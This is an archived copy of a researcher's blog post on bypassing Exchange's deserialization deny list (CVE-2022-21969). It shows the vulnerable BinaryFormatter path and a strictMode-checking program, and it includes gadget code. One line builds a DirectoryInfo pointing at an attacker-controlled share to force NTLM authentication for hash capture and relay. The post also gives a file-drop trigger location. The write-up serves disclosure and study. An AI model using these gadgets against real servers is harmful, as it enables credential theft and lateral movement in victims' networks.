

Searching for Deserialization Protection Bypasses in Microsoft Exchange (CVE-2022-21969)

Searching for Deserialization Protection Bypasses in Microsoft Exchange (CVE-2022-21969) - frycos, Medium.

- Published: 2022-08-10
- Original: <https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d>
- Preserved from: <https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Searching for Deserialization Protection Bypasses in Microsoft Exchange (CVE-2022-21969)

[

[\[image: frycos\]](#)

](https://medium.com/@frycos?source=post_page---byline--bfa38f63a62d-----)

[frycos](#)

9 min readJan 12, 2022

[

](https://medium.com/m/signin?actionUrl=https%3A%2F%2Fmedium.com%2F_%2Fvote%2Fp%2Fbfa38f63a62d&operation=register&redirect=https%3A%2F%2Fmedium.com%2F%40frycos%2Fsearching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-

Having installed various versions of Microsoft Exchange, one of my journeys took me to the (supposedly) latest version of Exchange 2016. Searching for various Formatter calls brought me to Exchange **Rpc** functions which some of you might know from [Outlook Anyw here](#) or tools like [exchanger.py](#) ("RPC over HTTP v2*")*. Instead of using human-readable HTTP requests for communication between client and Exchange server backend, a binary protocol created by Microsoft could (and is still) used for this purpose.

So, this is what I found by looking at Rpc functions with deserialization in mind. The class `Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServer` offered several function prototypes, probably callable via the `/rpc` endpoints.

The `Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer` class then implemented the prototypes accordingly.

Taking the method parameter `byte[] inputBlob` in one of these functions as e.g.

`ImportCertificate(int version, byte[] inputBlob, SecureString password)` brought us to the implementation in

`Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper` .

Here, the constructor of

`Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc` was called.

The method call `DeserializeObject(inputBlob, false)` reached the dangerous sink in the same class

with a `BinaryFormatter` deserializing the `byte[] inputBlob` (here `byte[] data`) without using a proper `SerializationBinder` or any other kind of protection. This could lead to RCE with payloads generated from [ysoserial .NET](#).

Several problems had to be faced next:

- How can I reach the sink with a properly controlled `inputBlob` byte array?
- Do I have to refactor this ugly binary format? (Hint: I'm not good at this!)
- How could it be that nobody else targeted this part already (successfully)?

To cut a long story short, question 3 was answered almost immediately by myself realizing that I totally failed on patching the Exchange installation to the latest version. I thought that I did, but didn't properly. At this moment, a feeling of anger came over me because this was not the first time I "rediscovered" old findings. But hear me when I say: one learns a ton of new things during every phase of (re)discovery and this is what finally counts as well. Sometimes you might even [rediscover silently patched vulnerabilities](#).

But this was not the end. We did indeed find some interesting things after we properly patched the server to **Exchange 2016 CU22 (with latest November patches KB5007409)**.

Before you continue reading my article, you should read [this article](#) by [Peter Json](#) and [Jang](#) first, all of it. The ideas for almost everything what's coming next is based on their work (and I love the nDay research articles by these guys btw!).

So back to work, I realized that this fully patched Exchange also shipped the class `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc` with its method `DeserializeObject(byte[] data, bool customized)` to deserialize the same kind of stuff mentioned above.

A very similar code path as described above could be tracked in this fully patched version to `Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer` prototypes again such as `ImportCertificate(int version, byte[] pInBytes, SecureString password)`.

The **newly introduced** `Microsoft.Exchange.Diagnostics.ChainedSerializationBinder` was already discussed in the nDay research article about CVE-2021-42321 by Jang and Peter Json (again, read it!).

As Jang and Peter explained in great detail, there were several conditions for which a malicious payload could be deserialized nevertheless:

- The `strictMode` has to be set to `False`
- The fully qualified assembly names in the [nested] payload object must not match any member of the **deny list** defined in `Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization` which basically kills all publicly known .NET deserialization gadgets from ysoserial .NET

As pointed out in their article, for CVE-2021-42321 the “bypass” was pretty much straight forward because

- `strictMode` was not set and therefore `False` by default
- The deny list had a typo for one of the well-known gadgets and other famous gadgets were missing, too

Since this was of course fixed in my patched Exchange instance, I wanted to look at our Rpc deserialization code again. Interestingly, all “secured” `BinaryFormatter` instances were created from the factory `ExchangeBinaryFormatterFactory.CreateBinaryFormatter(...)` (see first image of this paragraph above) using a certain entry of the **Enum** `Microsoft.Exchange.Diagnostics.DeserializationLocation` as input parameter for `strictMode` determination. To prove if our first condition `strictMode = False` held for the Rpc sources, I wrote a quick and dirty program and executed it on my Exchange server.

```

using Microsoft.Exchange.Data.Serialization;
using Microsoft.Exchange.Diagnostics;
using System;

namespace ExchangeStrictModeCheck
{
    class Program
    {
        static void Main(string[] args)
        {
            bool strictModeStatus =
Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc);
            Console.WriteLine("ExchangeCertificateRpc - strictMode = " +
strictModeStatus);

            Array values = Enum.GetValues(typeof(DeserializeLocation));
            foreach (DeserializeLocation val in values)
            {
                Console.WriteLine(val + " strictMode = " +
Serialization.GetStrictModeStatus(val));
            }
        }
    }
}

```

Indeed, the value for `ExchangeCertificateRpc` was set to `False`. The code above not only returned the value for this specific Enum entry evaluation but in a second step iterated over **all Enum entries**. Here is an excerpt of the output:

```

...
ExchangeCertificateRpc - strictMode = False
Unclassified strictMode = False
Test strictMode = False
Hygiene_CacheSerializer strictMode = False
TopologyDiscovery strictMode = False
UmCore_PipelineContext strictMode = False
UmCommon_Serialization strictMode = False
SharepointNotification strictMode = False
SwordFish_AirSync strictMode = False
SwordFish_UserGroup strictMode = False
SwordFish_Extensions strictMode = False
ModelItemCacheObject strictMode = False
TopNConfiguration strictMode = False
TopNData strictMode = False
GroupProvider strictMode = False
SubscribeListHelper strictMode = False
NormalizationCache strictMode = False
ClientExtensionCollectionFormatter strictMode = True
...

```

Reading the whole output carefully revealed that **only 11 out of 94 values** led to `strictMode` being set to `True`. Well, that means that the vast majority of entries equalled `False` and therefore “bypass condition 1” was met for a lot of cases **by design**.

Next, “bypass condition 2” turned out to be a bit more tricky because the incomplete deny list leading to CVE-2021-42321 was adjusted accordingly. What if one could find another gadget not being part of this deny list? Did I have to find fancy chains, i.e. really new RCE gadgets? No, I did not because **bridge gadgets** totally should work fine as well (look for `GadgetTypes.BridgeAndDerived` in `ysoserial .NET`).

I contributed such a [gadget to ysoserial .NET myself](#) some time ago but unfortunately this was part of the deny list, too.

Let’s again start with a failed attempt. Driven by [Steven](#)’s work on an XXE in current Exchange versions (see [CVE-2020-17141](#)), maybe I could find a bridge gadget resulting in an XXE sink (everybody concentrates on instant RCE stuff, right?).

The assembly `System.Windows.Forms.TableLayoutPanelSettings` (available in GAC, so this is “universal” and not Exchange specific) implemented a Serialization constructor as well as **a custom TypeConverter** (for some awesome research dealing with TypeConverters, read [this white paper](#)).

During deserialization the `SerializationInfo` parameter originating from the serialized object contained a string named `SerializedString`. Furthermore, the `converter.ConvertFromInvariantString(@string)` call hit a sink in the `ConvertFrom` method in `System.Windows.Forms.Layout.TableLayoutPanelSettingsTypeConverter`.

In the end, the `SerializedString` finally reached the `XmlDocument.LoadXml(string)` sink which could trigger XXE. One could simply write a ysoserial .NET gadget for payload creation. The relevant part would look like this:

```
[Serializable]
public class TableLayoutSettingsMarshal : ISerializable
{
    public TableLayoutSettingsMarshal(string payload)
    {
        Payload = payload;
    }
    private string Payload { get; }
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(Type.GetType("System.Windows.Forms.TableLayoutSettings,
System.Windows.Forms, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089"));
        info.AddValue("SerializedString", Payload);
    }
}
```

Feel free to implement the missing code and make a pull request to the ysoserial .NET project. This is a nice exercise.

As it turned out, my former doubts turned out to be valid: [XXE with .NET framework < 4.5.2](#) is tricky, mostly impossible, sometimes possible with “unlucky” `XmlResolver` implementations etc. So this was not applicable for this latest Exchange 2016 version.

But then I remembered an [old tweet of mine](#). Back then, I was looking for a kind of [URLD NS](#) (akin to the Java [ysoserial](#)) gadget but for .NET. The gadget I found was not only capable of triggering DNS requests but by nature SMB (or WEBDAV) requests to an attacker controlled share as well. Simply write a line of code like this

```
System.IO.DirectoryInfo gadget = new System.IO.DirectoryInfo(@"\\YOURHOST\~WithATilde");
```

and serialize the object with a Formatter of your choice, `BinaryFormatter` in our case.

Now SMB signing might be disabled, the WebClientService installed or the WEBDAV redirector enabled on the Exchange server (seen all of this in production environments!), then you could capture the Exchange machine account NetNTLM hash and relay it to other hosts in your Active Directory (AD) environment, doing a lot of bad things. **Also remember that it's sufficient that the target's system has SMB signing disabled to achieve an authenticated session as the Exchange service account.** I.e. one only has to find a single target system for which this is true. I've seen not a single AD environment to this day with *all hosts having SMB signing enabled*. There is tons of brilliant research and AD-related pentest articles on relaying attacks so I won't go into details.

Did this work then? Yes, it did and basically I achieved my goal of showing that deny list approaches should never be used for primary protection. In the case of Exchange, for **83** (remember `Serialization.GetStrictModeStatus(DeserializeLocation.*)`) potential BinaryFormatter factory calling versions, the deny list would have been **the only protection** (no “defense in depth” here)! And check for yourself that there are several of these calls all over the Exchange codebase.

By the way, I’m pretty sure that some of you will find better sources than Rpc functions. I already saw similar code paths as exploited in CVE-2021-42321. Go and get your 0day now! :-)

By the way, ****here is a PoC video**** for you showing the NTLM authentication being triggered and captured on an attacker machine. I searched for a “debug friendly” source to reach any of the deserialization sinks to test some payloads which I found in `Microsoft.Exchange.UM.UmCore.dll` . Putting a properly formatted text file under `C:\Program Files\Microsoft\Exchange Server\V15\UnifiedMessaging\voicemail` will trigger the deserialization. The file name has to be in `Guid` format.

Microsoft assigned [CVE-2022-21969](#) to this issue but without having the fix checked yet, the CVSS values *Adjacent* and *Scope Changed* suggest the core issue might not have been fixed.

Archived from <https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d>. Rendered offline from the local Markdown copy.